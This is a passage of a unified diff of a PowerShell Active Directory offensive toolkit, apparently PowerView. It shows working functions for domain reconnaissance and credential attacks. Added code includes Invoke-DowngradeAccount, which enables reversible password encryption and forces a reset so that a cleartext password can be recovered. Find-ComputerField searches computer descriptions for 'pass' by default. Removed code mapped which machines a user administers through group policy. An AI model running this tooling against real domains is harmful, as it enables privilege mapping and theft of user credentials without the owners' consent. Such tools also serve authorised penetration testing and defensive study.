- if($_.Properties.groupName -match 'Administrators') {
- $LocalSid = 'S-1-5-32-544'
- }
- elseif($_.Properties.groupName -match 'Remote Desktop') {
- $LocalSid = 'S-1-5-32-555'
- }
- else {
- $LocalSid = $_.Properties.groupName
- }
- }
- $MemberOf = @($LocalSid)
+ .PARAMETER Name
- $_.Properties.members | ForEach-Object {
- # process each member of the above local group
- $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
+ The Name of the domain object you're querying for.
- if($_.sid) {
- $Members += $_.sid
- }
- else {
- # just a straight local account name
- $Members += $_.name
- }
- }
- }
+ .PARAMETER Domain
- if ($Members -or $Memberof) {
- # extract out any/all filters...I hate you GPP
- $Filters = $_.filters | ForEach-Object {
- $_ | Select-Object -ExpandProperty Filter* | ForEach-Object {
- New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
- }
- }
+ The domain to query for objects, defaults to the current domain.
- if($ResolveSids) {
- $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_}
- $Members = $Members | ForEach-Object {Convert-SidToName $_}
- }
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
- if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)}
- if($Members -isnot [system.array]) {$Members = @($Members)}
+ .PARAMETER Filter
- $GPOProperties = @{
- 'GPODisplayName' = $GPODisplayName
- 'GPOName' = $GPOName
- 'GPOPath' = $TargetGroupsXMLPath
- 'Filters' = $Filters
- 'MemberOf' = $Memberof
- 'Members' = $Members
- }
+ Additional LDAP filter string for the query.
- New-Object -TypeName PSObject -Property $GPOProperties
- }
- }
+ .PARAMETER Repair
+
+ Switch. Unset the reversible encryption flag and force password reset flag.
+
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
+ .EXAMPLE
+
+ PS> Invoke-DowngradeAccount -SamAccountName jason
+
+ Set reversible encryption on the 'jason' account and force the password to be changed.
+
+ .EXAMPLE
+
+ PS> Invoke-DowngradeAccount -SamAccountName jason -Repair
+
+ Unset reversible encryption on the 'jason' account and remove the forced password change.
+#>
+
+ [CmdletBinding()]
+ Param (
+ [Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)]
+ [String]
+ $SamAccountName,
+
+ [Parameter(ParameterSetName = 'Name')]
+ [String]
+ $Name,
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [String]
+ $Filter,
+
+ [Switch]
+ $Repair,
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ process {
+ $Arguments = @{
+ 'SamAccountName' = $SamAccountName
+ 'Name' = $Name
+ 'Domain' = $Domain
+ 'DomainController' = $DomainController
+ 'Filter' = $Filter
+ 'Credential' = $Credential
}
- catch {
- Write-Debug "Error parsing $TargetGroupsXMLPath : $_"
+
+ # splat the appropriate arguments to Get-ADObject
+ $UACValues = Get-ADObject @Arguments | select useraccountcontrol | ConvertFrom-UACValue
+
+ if($Repair) {
+
+ if($UACValues.Keys -contains "ENCRYPTED_TEXT_PWD_ALLOWED") {
+ # if reversible encryption is set, unset it
+ Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128
+ }
+
+ # unset the forced password change
+ Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue -1
}
- }
- end {
- if($UsePSDrive -and $RandDrive) {
- Write-Verbose "Removing temp PSDrive $RandDrive"
- Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
+ else {
+
+ if($UACValues.Keys -contains "DONT_EXPIRE_PASSWORD") {
+ # if the password is set to never expire, unset
+ Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 65536
+ }
+
+ if($UACValues.Keys -notcontains "ENCRYPTED_TEXT_PWD_ALLOWED") {
+ # if reversible encryption is not set, set it
+ Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128
+ }
+
+ # force the password to be changed on next login
+ Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue 0
}
}
}
-function Get-NetGPO {
+function Get-ComputerProperty {
<#
.SYNOPSIS
- Gets a list of all current GPOs in a domain.
-
- .PARAMETER GPOname
-
- The GPO name to query for, wildcards accepted.
-
- .PARAMETER DisplayName
+ Returns a list of all computer object properties. If a property
+ name is specified, it returns all [computer:property] values.
- The GPO display name to query for, wildcards accepted.
+ Taken directly from @obscuresec's post:
+ http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
- .PARAMETER ComputerName
+ .PARAMETER Properties
- Return all GPO objects applied to a given computer (FQDN).
+ Return property names for computers.
.PARAMETER Domain
- The domain to query for GPOs, defaults to the current domain.
+ The domain to query for computer properties, defaults to the current domain.
.PARAMETER DomainController
Domain controller to reflect LDAP queries through.
- .PARAMETER ADSpath
-
- The LDAP source to search through
- e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"
-
.PARAMETER PageSize
The PageSize to set for the LDAP searcher object.
@@ -3678,30 +4486,32 @@ function Get-NetGPO {
.EXAMPLE
- PS C:\> Get-NetGPO -Domain testlab.local
+ PS C:\> Get-ComputerProperty -Domain testing
- Returns the GPOs in the 'testlab.local' domain.
-#>
- [CmdletBinding()]
- Param (
- [Parameter(ValueFromPipeline=$True)]
- [String]
- $GPOname = '*',
+ Returns all user properties for computers in the 'testing' domain.
- [String]
- $DisplayName,
+ .EXAMPLE
- [String]
- $ComputerName,
+ PS C:\> Get-ComputerProperty -Properties ssn,lastlogon,location
+
+ Returns all an array of computer/ssn/lastlogin/location combinations
+ for computers in the current domain.
+
+ .LINK
+
+ http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
+#>
+
+ [CmdletBinding()]
+ param(
+ [String[]]
+ $Properties,
[String]
$Domain,
[String]
$DomainController,
-
- [String]
- $ADSpath,
[ValidateRange(1,10000)]
[Int]
@@ -3711,170 +4521,78 @@ function Get-NetGPO {
$Credential
)
- begin {
- $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
+ if($Properties) {
+ # extract out the set of all properties for each object
+ $Properties = ,"name" + $Properties | Sort-Object -Unique
+ Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties
}
+ else {
+ # extract out just the property names
+ Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name"
+ }
+}
- process {
- if ($GPOSearcher) {
-
- if($ComputerName) {
- $GPONames = @()
- $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
-
- if(!$Computers) {
- throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
- }
-
- # get the given computer's OU
- $ComputerOUs = @()
- ForEach($Computer in $Computers) {
- # extract all OUs a computer is a part of
- $DN = $Computer.distinguishedname
-
- $ComputerOUs += $DN.split(",") | ForEach-Object {
- if($_.startswith("OU=")) {
- $DN.substring($DN.indexof($_))
- }
- }
- }
-
- Write-Verbose "ComputerOUs: $ComputerOUs"
-
- # find all the GPOs linked to the computer's OU
- ForEach($ComputerOU in $ComputerOUs) {
- $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object {
- # get any GPO links
- write-verbose "blah: $($_.name)"
- $_.gplink.split("][") | ForEach-Object {
- if ($_.startswith("LDAP")) {
- $_.split(";")[0]
- }
- }
- }
- }
-
- Write-Verbose "GPONames: $GPONames"
-
- # find any GPOs linked to the site for the given computer
- $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
- if($ComputerSite -and ($ComputerSite -ne 'ERROR')) {
- $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {
- if($_.gplink) {
- $_.gplink.split("][") | ForEach-Object {
- if ($_.startswith("LDAP")) {
- $_.split(";")[0]
- }
- }
- }
- }
- }
-
- $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object {
-
- # use the gplink as an ADS path to enumerate all GPOs for the computer
- $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize
- $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
-
- try {
- $Results = $GPOSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- $Out = Convert-LDAPProperty -Properties $_.Properties
- $Out | Add-Member Noteproperty 'ComputerName' $ComputerName
- $Out
- }
- $Results.dispose()
- $GPOSearcher.dispose()
- }
- catch {
- Write-Warning $_
- }
- }
- }
-
- else {
- if($DisplayName) {
- $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))"
- }
- else {
- $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
- }
-
- try {
- $Results = $GPOSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- # convert/process the LDAP fields for each result
- Convert-LDAPProperty -Properties $_.Properties
- }
- $Results.dispose()
- $GPOSearcher.dispose()
- }
- catch {
- Write-Warning $_
- }
- }
- }
- }
-}
-
-function Get-NetGPOGroup {
+function Find-ComputerField {
<#
.SYNOPSIS
- Returns all GPOs in a domain that set "Restricted Groups"
- or use groups.xml on on target machines.
+ Searches computer object fields for a given word (default *pass*). Default
+ field being searched is 'description'.
- .PARAMETER GPOname
+ Taken directly from @obscuresec's post:
+ http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
- The GPO name to query for, wildcards accepted.
+ .PARAMETER SearchTerm
- .PARAMETER DisplayName
+ Term to search for, default of "pass".
- The GPO display name to query for, wildcards accepted.
+ .PARAMETER SearchField
- .PARAMETER ResolveSids
+ User field to search in, default of "description".
- Switch. Resolve Sids from a DC policy to object names.
+ .PARAMETER ADSpath
+
+ The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+ Useful for OU queries.
.PARAMETER Domain
- The domain to query for GPOs, defaults to the current domain.
+ Domain to search computer fields for, defaults to the current domain.
.PARAMETER DomainController
Domain controller to reflect LDAP queries through.
- .PARAMETER ADSpath
-
- The LDAP source to search through
- e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"
-
.PARAMETER PageSize
The PageSize to set for the LDAP searcher object.
- .PARAMETER UsePSDrive
+ .PARAMETER Credential
- Switch. Mount any found policy files with temporary PSDrives.
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
.EXAMPLE
- PS C:\> Get-NetGPOGroup
+ PS C:\> Find-ComputerField -SearchTerm backup -SearchField info
- Get all GPOs that set local groups on the current domain.
+ Find computer accounts with "backup" in the "info" field.
#>
[CmdletBinding()]
- Param (
+ param(
+ [Parameter(Position=0,ValueFromPipeline=$True)]
+ [Alias('Term')]
[String]
- $GPOname = '*',
+ $SearchTerm = 'pass',
+ [Alias('Field')]
[String]
- $DisplayName,
+ $SearchField = 'description',
- [Switch]
- $ResolveSids,
+ [String]
+ $ADSpath,
[String]
$Domain,
@@ -3882,168 +4600,92 @@ function Get-NetGPOGroup {
[String]
$DomainController,
- [String]
- $ADSpath,
-
- [Switch]
- $UsePSDrive,
-
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
- )
-
- # get every GPO from the specified domain with restricted groups set
- Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object {
-
- $Memberof = $Null
- $Members = $Null
- $GPOdisplayName = $_.displayname
- $GPOname = $_.name
- $GPOPath = $_.gpcfilesyspath
-
- $ParseArgs = @{
- 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
- 'UsePSDrive' = $UsePSDrive
- }
-
- # parse the GptTmpl.inf 'Restricted Groups' file if it exists
- $Inf = Get-GptTmpl @ParseArgs
-
- if($Inf.GroupMembership) {
-
- $Memberof = $Inf.GroupMembership | Get-Member *Memberof | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') }
- $Members = $Inf.GroupMembership | Get-Member *Members | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') }
-
- if(!$Members) {
- try {
- $MembersRaw = $Inf.GroupMembership | Get-Member *Members | Select-Object -ExpandProperty Name
- $Members = ($MembersRaw -split "__")[0].trim("*")
- }
- catch {
- $MembersRaw = ''
- }
- }
-
- if(!$Memberof) {
- try {
- $MemberofRaw = $Inf.GroupMembership | Get-Member *Memberof | Select-Object -ExpandProperty Name
- $Memberof = ($MemberofRaw -split "__")[0].trim("*")
- }
- catch {
- $Memberof = ''
- }
- }
-
- if($ResolveSids) {
- $Memberof = $Memberof | ForEach-Object { Convert-SidToName $_ }
- $Members = $Members | ForEach-Object { Convert-SidToName $_ }
- }
-
- if($Memberof -isnot [System.Array]) {$Memberof = @($Memberof)}
- if($Members -isnot [System.Array]) {$Members = @($Members)}
-
- $GPOProperties = @{
- 'GPODisplayName' = $GPODisplayName
- 'GPOName' = $GPOName
- 'GPOPath' = $GPOPath
- 'Filters' = $Null
- 'MemberOf' = $Memberof
- 'Members' = $Members
- }
-
- New-Object -TypeName PSObject -Property $GPOProperties
- }
+ $PageSize = 200,
- $ParseArgs = @{
- 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
- 'ResolveSids' = $ResolveSids
- 'UsePSDrive' = $UsePSDrive
- }
+ [Management.Automation.PSCredential]
+ $Credential
+ )
- Get-GroupsXML @ParseArgs
+ process {
+ Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
}
}
-function Find-GPOLocation {
+function Get-NetOU {
<#
.SYNOPSIS
- Takes a user/group name and optional domain, and determines
- the computers in the domain the user/group has local admin
- (or RDP) rights to.
-
- It does this by:
- 1. resolving the user/group to its proper sid
- 2. enumerating all groups the user/group is a current part of
- and extracting all target SIDs to build a target SID list
- 3. pulling all GPOs that set 'Restricted Groups' by calling
- Get-NetGPOGroup
- 4. matching the target sid list to the queried GPO SID list
- to enumerate all GPO the user is effectively applied with
- 5. enumerating all OUs and sites and applicable GPO GUIs are
- applied to through gplink enumerating
- 6. querying for all computers under the given OUs or sites
+ Gets a list of all current OUs in a domain.
- .PARAMETER UserName
+ .PARAMETER OUName
- A (single) user name name to query for access.
+ The OU name to query for, wildcards accepted.
- .PARAMETER GroupName
+ .PARAMETER GUID
- A (single) group name name to query for access.
+ Only return OUs with the specified GUID in their gplink property.
.PARAMETER Domain
- Optional domain the user exists in for querying, defaults to the current domain.
+ The domain to query for OUs, defaults to the current domain.
.PARAMETER DomainController
Domain controller to reflect LDAP queries through.
- .PARAMETER LocalGroup
+ .PARAMETER ADSpath
- The local group to check access against.
- Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
- or a custom local SID. Defaults to local 'Administrators'.
+ The LDAP source to search through.
- .PARAMETER UsePSDrive
+ .PARAMETER FullData
- Switch. Mount any found policy files with temporary PSDrives.
+ Switch. Return full OU objects instead of just object names (the default).
.PARAMETER PageSize
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
- PS C:\> Find-GPOLocation -UserName dfm
+ PS C:\> Get-NetOU
- Find all computers that dfm user has local administrator rights to in
- the current domain.
+ Returns the current OUs in the domain.
.EXAMPLE
- PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local
+ PS C:\> Get-NetOU -OUName *admin* -Domain testlab.local
- Find all computers that dfm user has local administrator rights to in
- the dev.testlab.local domain.
+ Returns all OUs with "admin" in their name in the testlab.local domain.
- .EXAMPLE
+ .EXAMPLE
- PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP
+ PS C:\> Get-NetOU -GUID 123-...
- Find all computers that jason has local RDP access rights to in the domain.
+ Returns all OUs with linked to the specified group policy object.
+
+ .EXAMPLE
+
+ PS C:\> "*admin*","*server*" | Get-NetOU
+
+ Get the full OU names for the given search terms piped on the pipeline.
#>
[CmdletBinding()]
Param (
+ [Parameter(ValueFromPipeline=$True)]
[String]
- $UserName,
+ $OUName = '*',
[String]
- $GroupName,
+ $GUID,
[String]
$Domain,
@@ -4052,1033 +4694,6836 @@ function Find-GPOLocation {
$DomainController,
[String]
- $LocalGroup = 'Administrators',
-
+ $ADSpath,
+
[Switch]
- $UsePSDrive,
+ $FullData,
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
- )
-
- if($UserName) {
-
- $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize
- $UserSid = $User.objectsid
+ $PageSize = 200,
- if(!$UserSid) {
- Throw "User '$UserName' not found!"
- }
+ [Management.Automation.PSCredential]
+ $Credential
+ )
- $TargetSid = $UserSid
- $ObjectSamAccountName = $User.samaccountname
- $TargetObjects = $UserSid
+ begin {
+ $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
}
- elseif($GroupName) {
-
- $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
- $GroupSid = $Group.objectsid
+ process {
+ if ($OUSearcher) {
+ if ($GUID) {
+ # if we're filtering for a GUID in .gplink
+ $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))"
+ }
+ else {
+ $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))"
+ }
- if(!$GroupSid) {
- Throw "Group '$GroupName' not found!"
- }
-
- $TargetSid = $GroupSid
- $ObjectSamAccountName = $Group.samaccountname
- $TargetObjects = $GroupSid
- }
- else {
- $TargetSid = '*'
+ try {
+ $Results = $OUSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ if ($FullData) {
+ # convert/process the LDAP fields for each result
+ $OU = Convert-LDAPProperty -Properties $_.Properties
+ $OU.PSObject.TypeNames.Add('PowerView.OU')
+ $OU
+ }
+ else {
+ # otherwise just returning the ADS paths of the OUs
+ $_.properties.adspath
+ }
+ }
+ $Results.dispose()
+ $OUSearcher.dispose()
+ }
+ catch {
+ Write-Warning $_
+ }
+ }
}
+}
- if($LocalGroup -like "*Admin*") {
- $LocalSID = 'S-1-5-32-544'
- }
- elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) {
- $LocalSID = 'S-1-5-32-555'
- }
- elseif ($LocalGroup -like "S-1-5-*") {
- $LocalSID = $LocalGroup
- }
- else {
- throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' type sid."
- }
- Write-Verbose "LocalSid: $LocalSID"
- Write-Verbose "TargetSid: $TargetSid"
+function Get-NetSite {
+<#
+ .SYNOPSIS
- if($TargetSid -ne '*') {
- if($TargetSid -isnot [System.Array]) { $TargetSid = @($TargetSid) }
+ Gets a list of all current sites in a domain.
- # use the tokenGroups approach from Get-NetGroup to get all effective
- # security SIDs this object is a part of
- $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids
+ .PARAMETER SiteName
- if($TargetSid -isnot [System.Array]) { [System.Array]$TargetSid = [System.Array]@($TargetSid) }
- }
+ Site filter string, wildcards accepted.
- Write-Verbose "Effective target sids: $TargetSid"
+ .PARAMETER Domain
- $GPOGroupArgs = @{
- 'Domain' = $Domain
- 'DomainController' = $DomainController
- 'UsePSDrive' = $UsePSDrive
- 'PageSize' = $PageSize
- }
+ The domain to query for sites, defaults to the current domain.
- # get all GPO groups, and filter on ones that match our target SID list
- # and match the target local sid memberof list
- $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object {
- if ($_.members) {
- $_.members = $_.members | Where-Object {$_} | ForEach-Object {
- if($_ -match '^S-1-.*') {
- $_
- }
- else {
- # if there are any plain group names, try to resolve them to sids
- (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID
- }
- } | Sort-Object -Unique
+ .PARAMETER DomainController
- # stop PowerShell 2.0's string stupid unboxing
- if($_.members -isnot [System.Array]) { $_.members = @($_.members) }
- if($_.memberof -isnot [System.Array]) { $_.memberof = @($_.memberof) }
+ Domain controller to reflect LDAP queries through.
- # check if the memberof contains the sid of the local account we're searching for
- Write-Verbose "memberof: $($_.memberof)"
- if ($_.memberof -contains $LocalSid) {
- # check if there's an overlap between the members field and the set of target sids
- # if $TargetSid = *, then return all results
- if ( ($TargetSid -eq '*') -or ($_.members | Where-Object {$_} | Where-Object { $TargetSid -Contains $_ })) {
- $_
- }
- }
- }
- }
+ .PARAMETER ADSpath
- $ProcessedGUIDs = @{}
+ The LDAP source to search through.
- # process the matches and build the result objects
- $GPOgroups | Where-Object {$_} | ForEach-Object {
+ .PARAMETER GUID
- $GPOguid = $_.GPOName
- $GPOMembers = $_.Members
+ Only return site with the specified GUID in their gplink property.
- if(!$TargetObjects) {
- # if the * wildcard was used, set the ObjectDistName as the GPO member sid set
- $TargetObjects = $GPOMembers
- }
+ .PARAMETER FullData
- if( -not $ProcessedGUIDs[$GPOguid] ) {
- $GPOname = $_.GPODisplayName
- $Filters = $_.Filters
+ Switch. Return full site objects instead of just object names (the default).
- # find any OUs that have this GUID applied and then retrieve any computers from the OU
- Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object {
+ .PARAMETER PageSize
- if($Filters) {
- # filter for computer name/org unit if a filter is specified
- # TODO: handle other filters?
- $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object {
- $_.adspath -match ($Filters.Value)
- } | ForEach-Object { $_.dnshostname }
- }
- else {
- $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize
- }
+ The PageSize to set for the LDAP searcher object.
- ForEach ($TargetSid in $TargetObjects) {
+ .PARAMETER Credential
- $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
- $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
+ .EXAMPLE
- $GPOLocation = New-Object PSObject
- $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
- $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
- $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
- $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup
- $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname
- $GPOLocation | Add-Member Noteproperty 'GPOguid' $GPOguid
- $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
- $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers
- $GPOLocation
- }
- }
+ PS C:\> Get-NetSite -Domain testlab.local -FullData
+
+ Returns the full data objects for all sites in testlab.local
+#>
+
+ [CmdletBinding()]
+ Param (
+ [Parameter(ValueFromPipeline=$True)]
+ [String]
+ $SiteName = "*",
+
+ [String]
+ $Domain,
- # find any sites that have this GUID applied
- Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object {
+ [String]
+ $DomainController,
- ForEach ($TargetSid in $TargetObjects) {
- $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize
+ [String]
+ $ADSpath,
- $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
+ [String]
+ $GUID,
+
+ [Switch]
+ $FullData,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+
+ begin {
+ $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize
+ }
+ process {
+ if($SiteSearcher) {
- $AppliedSite = New-Object PSObject
- $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
- $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
- $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
- $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup
- $AppliedSite | Add-Member Noteproperty 'GPOname' $GPOname
- $AppliedSite | Add-Member Noteproperty 'GPOguid' $GPOguid
- $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
- $AppliedSite | Add-Member Noteproperty 'Computers' $_.siteobjectbl
- $AppliedSite
+ if ($GUID) {
+ # if we're filtering for a GUID in .gplink
+ $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))"
+ }
+ else {
+ $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))"
+ }
+
+ try {
+ $Results = $SiteSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ if ($FullData) {
+ # convert/process the LDAP fields for each result
+ $Site = Convert-LDAPProperty -Properties $_.Properties
+ $Site.PSObject.TypeNames.Add('PowerView.Site')
+ $Site
+ }
+ else {
+ # otherwise just return the site name
+ $_.properties.name
+ }
}
+ $Results.dispose()
+ $SiteSearcher.dispose()
+ }
+ catch {
+ Write-Verbose $_
}
-
- # mark off this GPO GUID so we don't process it again if there are dupes
- $ProcessedGUIDs[$GPOguid] = $True
}
}
}
-########################################################
-#
-# Functions that enumerate a single host, either through
-# WinNT, WMI, remote registry, or API calls
-# (with PSReflect).
-#
-########################################################
-
-function Get-NetLocalGroup {
+function Get-NetSubnet {
<#
.SYNOPSIS
- Gets a list of all current users in a specified local group,
- or returns the names of all local groups with -ListGroups.
-
- .PARAMETER ComputerName
+ Gets a list of all current subnets in a domain.
- The hostname or IP to query for local group users.
+ .PARAMETER SiteName
- .PARAMETER ComputerFile
+ Only return subnets from the specified SiteName.
- File of hostnames/IPs to query for local group users.
+ .PARAMETER Domain
- .PARAMETER GroupName
+ The domain to query for subnets, defaults to the current domain.
- The local group name to query for users. If not given, it defaults to "Administrators"
+ .PARAMETER DomainController
- .PARAMETER ListGroups
+ Domain controller to reflect LDAP queries through.
- Switch. List all the local groups instead of their members.
- Old Get-NetLocalGroups functionality.
+ .PARAMETER ADSpath
- .PARAMETER Recurse
+ The LDAP source to search through.
- Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine.
+ .PARAMETER FullData
- .PARAMETER API
+ Switch. Return full subnet objects instead of just object names (the default).
- Switch. Use API calls instead of the WinNT service provider. Less information,
- but the results are faster.
+ .PARAMETER PageSize
- .EXAMPLE
+ The PageSize to set for the LDAP searcher object.
- PS C:\> Get-NetLocalGroup
+ .PARAMETER Credential
- Returns the usernames that of members of localgroup "Administrators" on the local host.
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
.EXAMPLE
- PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP
-
- Returns all the local administrator accounts for WINDOWSXP
+ PS C:\> Get-NetSubnet
+
+ Returns all subnet names in the current domain.
.EXAMPLE
- PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse
+ PS C:\> Get-NetSubnet -Domain testlab.local -FullData
+
+ Returns the full data objects for all subnets in testlab.local
+#>
- Returns all effective local/domain users/groups that can access WINDOWS7 with
- local administrative privileges.
+ [CmdletBinding()]
+ Param (
+ [Parameter(ValueFromPipeline=$True)]
+ [String]
+ $SiteName = "*",
- .EXAMPLE
+ [String]
+ $Domain,
- PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups
+ [String]
+ $ADSpath,
- Returns all local groups on the WINDOWS7 host.
+ [String]
+ $DomainController,
- .EXAMPLE
+ [Switch]
+ $FullData,
- PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200,
- Returns all local groups on the the passed hosts using API calls instead of the
- WinNT service provider.
+ [Management.Automation.PSCredential]
+ $Credential
+ )
- .LINK
+ begin {
+ $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize
+ }
- http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together
- http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx
-#>
+ process {
+ if($SubnetSearcher) {
- [CmdletBinding(DefaultParameterSetName = 'WinNT')]
- param(
- [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)]
- [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)]
- [Alias('HostName')]
- [String[]]
- $ComputerName = "$($env:COMPUTERNAME)",
+ $SubnetSearcher.filter="(&(objectCategory=subnet))"
- [Parameter(ParameterSetName = 'WinNT')]
- [Parameter(ParameterSetName = 'API')]
- [ValidateScript({Test-Path -Path $_ })]
- [Alias('HostList')]
- [String]
- $ComputerFile,
+ try {
+ $Results = $SubnetSearcher.FindAll()
